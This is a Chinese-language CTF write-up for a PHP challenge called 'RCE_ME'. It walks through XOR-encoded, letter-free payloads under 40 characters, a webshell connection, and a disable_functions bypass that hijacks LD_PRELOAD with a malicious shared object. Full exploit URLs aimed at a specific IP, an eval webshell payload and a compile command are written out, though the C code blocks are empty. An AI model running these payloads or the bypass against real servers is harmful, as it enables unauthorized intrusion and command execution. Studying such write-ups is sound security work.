RCE_ME
绕过&获取shell
根据代码要求:
长度不能大于40
不能包含大小写字母,数字
在PHP中两个字符异或可以得到另外一个字符,例如
1 |
|
利用这点我们就能绕过对字母数字的过滤
之后我们要绕过对长度的限制,40字符实在是限制太大了
1 |
|
访问
1 | http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo(); |
接着构造payload让蚁剑来连
1 | http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27]) |
flag只有root权限才能访问,readflag估计是用来读flag的。
直接在虚拟终端中执行readflag命令
发现命令都无法执行,查看phpinfo();估计是调用系统命令的函数被禁用了
bypass_disable_functions
一般而言,利用漏洞控制 web 启动新进程 a.bin,a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,常见突破 disable_functions 限制执行操作系统命令的方式为:
- 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;
- 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;( LD_PRELOAD是Unix中的一个环境变量,用于定义在程序运行前优先加载的动态链接库,LD和动态库有关,PRELOAD表示预加载,结合起来就是预先加载的动态库。通过这个环境变量,可以覆盖正常的函数库中的函数。)
- 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
- 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
a.c文件:
1 |
|
如果是不知道密码的情况下,就可以编写一个动态函数库来覆盖掉strcmp函数恒返回0以达到任意密码都返回Correct
1 | -fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的 |
evil.c文件:
1 |
|
所以绕过disable_functions,可以通过上传恶意so文件,劫持getuid(),达到命令执行目的。之所以劫持 getuid(),是因为 sendmail 程序会调用该函数(当然也可以为其他被调用的系统函数)
但是这种劫持函数的做法有很大的缺陷:
一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)
C 语言扩展修饰符
回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就完全可以不依赖 sendmail 了
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数。这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为。
此外,通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")
putenv
PHP中putenv()函数用于设置服务器环境变量,仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
1 | putenv ( string $setting ) : bool |
如
1 | putenv("LD_PRELOAD=/tmp/evil.so"); |
劫持共享库绕过disable_functions
把readflag下载到本地 IDA反编译
bypass.c文件:
1 |
|
1 | gcc -shared -fPIC bypass.c -o bypass_x64.so |
bypass.php:
1 |
|
最终payload为
1 | http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=include(%27/tmp/bypass.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so |